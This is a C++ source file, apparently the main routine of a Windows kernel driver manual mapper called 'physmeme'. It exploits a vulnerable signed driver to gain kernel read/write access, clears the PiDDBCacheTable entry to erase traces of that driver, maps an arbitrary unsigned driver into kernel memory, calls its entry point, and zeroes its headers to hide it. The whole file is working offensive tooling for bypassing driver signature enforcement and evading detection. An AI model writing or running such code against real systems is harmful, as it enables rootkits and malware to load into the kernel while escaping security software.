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113 lines
2.6 KiB
113 lines
2.6 KiB
#include "kernel_ctx/kernel_ctx.h"
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#include "drv_image/drv_image.h"
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#include "raw_driver.hpp"
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int __cdecl main(int argc, char** argv)
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{
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if (argc < 2)
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{
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perror("[-] invalid use, please provide a path to a driver\n");
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return -1;
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}
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std::vector<std::uint8_t> drv_buffer;
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util::open_binary_file(argv[1], drv_buffer);
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if (!drv_buffer.size())
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{
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perror("[-] invalid drv_buffer size\n");
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return -1;
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}
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physmeme::drv_image image(drv_buffer);
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physmeme::load_drv();
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physmeme::kernel_ctx ctx;
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//
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// unload exploitable driver
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//
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if (!physmeme::unload_drv())
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{
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perror("[!] unable to unload driver... all handles closed?\n");
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return -1;
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}
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printf("[+] unloaded exploitable driver....\n");
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//
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// shoot the tires off piddb cache entry.
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//
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const auto drv_timestamp = util::get_file_header((void*)raw_driver)->TimeDateStamp;
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printf("[+] clearing piddb cache for driver: %s, with timestamp 0x%x\n", physmeme::drv_key.c_str(), drv_timestamp);
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if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
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{
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// this is because the signature might be broken on these versions of windows.
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perror("[-] failed to clear PiDDBCacheTable.\n");
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return -1;
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}
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printf("[+] cleared piddb cache...\n");
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//
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// lambdas used for fixing driver image
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//
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const auto _get_module = [&](std::string_view name)
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{
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return util::get_module_base(name.data());
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};
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const auto _get_export_name = [&](const char* base, const char* name)
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{
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return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name));
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};
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//
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// fix the driver image
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//
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image.fix_imports(_get_module, _get_export_name);
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printf("[+] fixed imports\n");
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image.map();
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printf("[+] sections mapped in memory\n");
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//
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// allocate memory in the kernel for the driver
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//
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const auto pool_base = ctx.allocate_pool(image.size(), NonPagedPool);
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printf("[+] allocated 0x%llx at 0x%p\n", image.size(), pool_base);
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if (!pool_base)
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{
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printf("[!] allocation failed!\n");
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return -1;
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}
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image.relocate(pool_base);
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printf("[+] relocations fixed\n");
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//
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// copy driver into the kernel
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//
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ctx.write_kernel(pool_base, image.data(), image.size());
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//
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// driver entry
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//
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auto entry_point = reinterpret_cast<std::uintptr_t>(pool_base) + image.entry_point();
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//
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// call driver entry
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//
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auto result = ctx.syscall<DRIVER_INITIALIZE>(
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reinterpret_cast<void*>(entry_point),
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reinterpret_cast<std::uintptr_t>(pool_base),
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image.size()
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);
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printf("[+] driver entry returned: 0x%p\n", result);
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//
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// zero driver headers
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//
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ctx.zero_kernel_memory(pool_base, image.header_size());
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printf("[=] press enter to close\n");
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std::cin.get();
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} |